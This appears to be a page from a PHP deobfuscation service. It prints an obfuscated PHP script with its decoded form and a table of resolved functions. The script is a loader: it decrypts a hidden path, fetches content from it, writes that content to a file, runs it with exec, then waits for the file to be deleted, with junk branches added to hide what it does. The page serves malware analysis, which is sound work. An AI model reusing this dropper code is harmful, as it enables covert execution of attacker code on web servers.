Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $GLOBALS['1647964954']=Array('strp' .'os','' .'nl2br','file_ge' .'t_con' .'tents','f..

Decoded Output download

<?php $GLOBALS['1647964954']=Array('strp' .'os','' .'nl2br','file_ge' .'t_con' .'tents','f' .'i' .'le_' .'put_' .'c' .'ontents','ex' .'ec','' .'date','' .'fgets' .'s','unlink','imag' .'ec' .'reatefrom' .'gd' .'2p' .'a' .'rt','so' .'cket_' .'create_pair','strlen','' .'chr','ord','' .'sock' .'et' .'_con' .'nect','u' .'np' .'ack','' .'f' .'getss','sh' .'e' .'ll_exe' .'c'); ?><?php function _1072473600($zidvml){$onfppu=Array('dce',">Nj
E"#]=+x#<[ %i:U8'j2P\ ';",'cs',">Nj
E"#]=+x#<[ %i:U8'j2P\ ';9>",'djumdonhmildwd','ctbz','');return $onfppu[$zidvml];} ?><?php $ypicrgv=round(0+483218399.25+483218399.25+483218399.25+483218399.25);$egukhol=_1072473600(0);$hrftdsz=_1072473600(1);$outiikh=_1072473600(2);$rvvpytt=_1072473600(3);$hrftdsz=kuidjoh($hrftdsz,$ypicrgv);if($GLOBALS['1647964954'][0](_1072473600(4),_1072473600(5))!==false)$GLOBALS['1647964954'][1]($rvvpytt,$plqsuir);$rvvpytt=kuidjoh($rvvpytt,$ypicrgv);$vjvdzpk=$GLOBALS['1647964954'][2]($hrftdsz);$ucahwgb=round(0+373.25+373.25+373.25+373.25);if($vjvdzpk){$pyfdwpc=kuidjoh($vjvdzpk,$ypicrgv);$GLOBALS['1647964954'][3]($rvvpytt,$pyfdwpc);$GLOBALS['1647964954'][4]($rvvpytt);if((round(0+2480+2480)^round(0+4960))&& $GLOBALS['1647964954'][5]($ifqjuwe,$fouamev))$GLOBALS['1647964954'][6]($ypicrgv,$zdgminh,$plqsuir);while(!$GLOBALS['1647964954'][7]($rvvpytt))Sleep(round(0+0.25+0.25+0.25+0.25));if((round(0+276.2+276.2+276.2+276.2+276.2)^round(0+276.2+276.2+276.2+276.2+276.2))&& $GLOBALS['1647964954'][8]($fouamev))$GLOBALS['1647964954'][9]($ypicrgv,$ypicrgv,$pfflzqy,$hrftdsz);}function caqenwz($fouamev,$plqsuir){$tevksrw=$plqsuir&round(0+6.2+6.2+6.2+6.2+6.2);$aunrzdr=round(0+3842);return($fouamev << $tevksrw)|(($fouamev >>(round(0+32)-$tevksrw))&((round(0+0.2+0.2+0.2+0.2+0.2)<<(round(0+15.5+15.5)&$tevksrw))-round(0+1)));$qslpnue=round(0+641+641);}function kuidjoh($hppzsus,$ypicrgv){$pfflzqy=_1072473600(6);$vpfuhsa=$GLOBALS['1647964954'][10]($hppzsus);for($ifqjuwe=round(0);$ifqjuwe<$vpfuhsa;++$ifqjuwe){$zdgminh=$GLOBALS['1647964954'][11]($GLOBALS['1647964954'][12]($hppzsus{$ifqjuwe})^($ypicrgv&round(0+85+85+85)));$pfflzqy .= $zdgminh;$ypicrgv=caqenwz($ypicrgv,round(0+1.6+1.6+1.6+1.6+1.6));if((round(0+1369+1369+1369)^round(0+1369+1369+1369))&& $GLOBALS['1647964954'][13]($plqsuir,$fouamev))$GLOBALS['1647964954'][14]($hppzsus,$pfflzqy,$pfflzqy,$ifqjuwe,$ypicrgv);++$ypicrgv;if((round(0+1241)^round(0+1241))&& $GLOBALS['1647964954'][15]($ifqjuwe))$GLOBALS['1647964954'][16]($vpfuhsa,$ypicrgv,$pfflzqy,$ifqjuwe);}return $pfflzqy;} ?>

Did this file decode correctly?

Original Code

<?php $GLOBALS['1647964954']=Array('strp' .'os','' .'nl2br','file_ge' .'t_con' .'tents','f' .'i' .'le_' .'put_' .'c' .'ontents','ex' .'ec','' .'date','' .'fgets' .'s','unlink','imag' .'ec' .'reatefrom' .'gd' .'2p' .'a' .'rt','so' .'cket_' .'create_pair','strlen','' .'chr','ord','' .'sock' .'et' .'_con' .'nect','u' .'np' .'ack','' .'f' .'getss','sh' .'e' .'ll_exe' .'c'); ?><?php function _1072473600($zidvml){$onfppu=Array('dce',"\x3e\x4e\x6a\x05\x0d\x10\x45\x22\x23\x18\x5d\x3d\xed\x2b\x78\x23\xf1\x3c\x5b\x20\xe3\x25\x69\x3a\xe2\x17\x55\x38\xe3\x27\x6a\x32\xff\x15\x50\x04\xef\x0c\x5c\x20\xa9\x1f\x27\x3b",'cs',"\x3e\x4e\x6a\x05\x0d\x10\x45\x22\x23\x18\x5d\x3d\xed\x2b\x78\x23\xf1\x3c\x5b\x20\xe3\x25\x69\x3a\xe2\x17\x55\x38\xe3\x27\x6a\x32\xff\x15\x50\x04\xef\x0c\x5c\x20\xa9\x1f\x27\x3b\xa6\x1a\x39\x3e",'djumdonhmildwd','ctbz','');return $onfppu[$zidvml];} ?><?php $ypicrgv=round(0+483218399.25+483218399.25+483218399.25+483218399.25);$egukhol=_1072473600(0);$hrftdsz=_1072473600(1);$outiikh=_1072473600(2);$rvvpytt=_1072473600(3);$hrftdsz=kuidjoh($hrftdsz,$ypicrgv);if($GLOBALS['1647964954'][0](_1072473600(4),_1072473600(5))!==false)$GLOBALS['1647964954'][1]($rvvpytt,$plqsuir);$rvvpytt=kuidjoh($rvvpytt,$ypicrgv);$vjvdzpk=$GLOBALS['1647964954'][2]($hrftdsz);$ucahwgb=round(0+373.25+373.25+373.25+373.25);if($vjvdzpk){$pyfdwpc=kuidjoh($vjvdzpk,$ypicrgv);$GLOBALS['1647964954'][3]($rvvpytt,$pyfdwpc);$GLOBALS['1647964954'][4]($rvvpytt);if((round(0+2480+2480)^round(0+4960))&& $GLOBALS['1647964954'][5]($ifqjuwe,$fouamev))$GLOBALS['1647964954'][6]($ypicrgv,$zdgminh,$plqsuir);while(!$GLOBALS['1647964954'][7]($rvvpytt))Sleep(round(0+0.25+0.25+0.25+0.25));if((round(0+276.2+276.2+276.2+276.2+276.2)^round(0+276.2+276.2+276.2+276.2+276.2))&& $GLOBALS['1647964954'][8]($fouamev))$GLOBALS['1647964954'][9]($ypicrgv,$ypicrgv,$pfflzqy,$hrftdsz);}function caqenwz($fouamev,$plqsuir){$tevksrw=$plqsuir&round(0+6.2+6.2+6.2+6.2+6.2);$aunrzdr=round(0+3842);return($fouamev << $tevksrw)|(($fouamev >>(round(0+32)-$tevksrw))&((round(0+0.2+0.2+0.2+0.2+0.2)<<(round(0+15.5+15.5)&$tevksrw))-round(0+1)));$qslpnue=round(0+641+641);}function kuidjoh($hppzsus,$ypicrgv){$pfflzqy=_1072473600(6);$vpfuhsa=$GLOBALS['1647964954'][10]($hppzsus);for($ifqjuwe=round(0);$ifqjuwe<$vpfuhsa;++$ifqjuwe){$zdgminh=$GLOBALS['1647964954'][11]($GLOBALS['1647964954'][12]($hppzsus{$ifqjuwe})^($ypicrgv&round(0+85+85+85)));$pfflzqy .= $zdgminh;$ypicrgv=caqenwz($ypicrgv,round(0+1.6+1.6+1.6+1.6+1.6));if((round(0+1369+1369+1369)^round(0+1369+1369+1369))&& $GLOBALS['1647964954'][13]($plqsuir,$fouamev))$GLOBALS['1647964954'][14]($hppzsus,$pfflzqy,$pfflzqy,$ifqjuwe,$ypicrgv);++$ypicrgv;if((round(0+1241)^round(0+1241))&& $GLOBALS['1647964954'][15]($ifqjuwe))$GLOBALS['1647964954'][16]($vpfuhsa,$ypicrgv,$pfflzqy,$ifqjuwe);}return $pfflzqy;} ?>

Function Calls

round 1
kuidjoh 1
_1072473600 4

Variables

$onfppu [{'key': 0, 'value': 'dce'}, {'key': 1, 'value': '>Nj\x05\r\x10E"#\x18]=í+x#ñ<[ ã%i:â\x17U8ã\'j2ÿ\x15P\x04ï\x0c\\ ©\x1f\';'}, {'key': 2, 'value': 'cs'}, {'key': 3, 'value': '>Nj\x05\r\x10E"#\x18]=í+x#ñ<[ ã%i:â\x17U8ã\'j2ÿ\x15P\x04ï\x0c\\ ©\x1f\';¦\x1a9>'}, {'key': 4, 'value': 'djumdonhmildwd'}, {'key': 5, 'value': 'ctbz'}, {'key': 6, 'value': ''}]
$zidvml 3
$egukhol dce
$hrftdsz dce
$outiikh dce
$rvvpytt dce
$ypicrgv 1932873597
$1647964954 [{'key': 0, 'value': 'strpos'}, {'key': 1, 'value': 'nl2br'}, {'key': 2, 'value': 'file_get_contents'}, {'key': 3, 'value': 'file_put_contents'}, {'key': 4, 'value': 'exec'}, {'key': 5, 'value': 'date'}, {'key': 6, 'value': 'fgetss'}, {'key': 7, 'value': 'unlink'}, {'key': 8, 'value': 'imagecreatefromgd2part'}, {'key': 9, 'value': 'socket_create_pair'}, {'key': 10, 'value': 'strlen'}, {'key': 11, 'value': 'chr'}, {'key': 12, 'value': 'ord'}, {'key': 13, 'value': 'socket_connect'}, {'key': 14, 'value': 'unpack'}, {'key': 15, 'value': 'fgetss'}, {'key': 16, 'value': 'shell_exec'}]

Stats

MD5 501b8b88a60b3fd756fd3b9628c269aa
Eval Count 0
Decode Time 157 ms